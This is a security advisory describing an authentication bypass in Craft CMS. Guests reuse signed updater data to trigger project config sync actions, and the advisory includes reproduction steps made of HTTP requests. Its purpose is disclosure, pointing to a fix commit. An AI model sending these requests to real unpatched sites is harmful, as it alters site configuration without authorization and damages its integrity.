Craft CMS: Unauthenticated Users Can Perform Restricted Project Config Sync Operations

Summary

Guest users can access Config Sync updater index, obtain signed data, and execute state-changing Config Sync actions (regenerate-yaml, apply-yaml-changes) without authentication.

Details

ConfigSyncController extends BaseUpdaterController, and the base updater is anonymously accessible for control panel requests. index emits signed updater state (data), which can be reused by guests in subsequent requests.

Sensitive actions that are reachable via this method are actionApplyYamlChanges, actionRegenerateYaml, applyExternalChanges, and regenerateExternalConfig.

Reproduction steps

1. Guest POST to:

   http POST /admin/actions/config-sync/index

2. Extract data from returned JS state:

Craft.updater = ... setState({"data":"<signedData>", ...});

3. Reuse data as a guest:

  POST /admin/actions/config-sync/regenerate-yaml
  data=<signedData>&<csrfParam>=<csrfToken>

or

  POST /admin/actions/config-sync/apply-yaml-changes
  data=<signedData>&<csrfParam>=<csrfToken>

4. Observe completed response and state/file changes.

Impact

Unauthenticated users can execute project configuration sync operations that should be restricted to trusted admin/deployment contexts.

Depending on the pending YAML/config state, this can cause unauthorized config state transitions and a service integrity risk.

Resources

https://github.com/craftcms/cms/commit/7f0ead833f7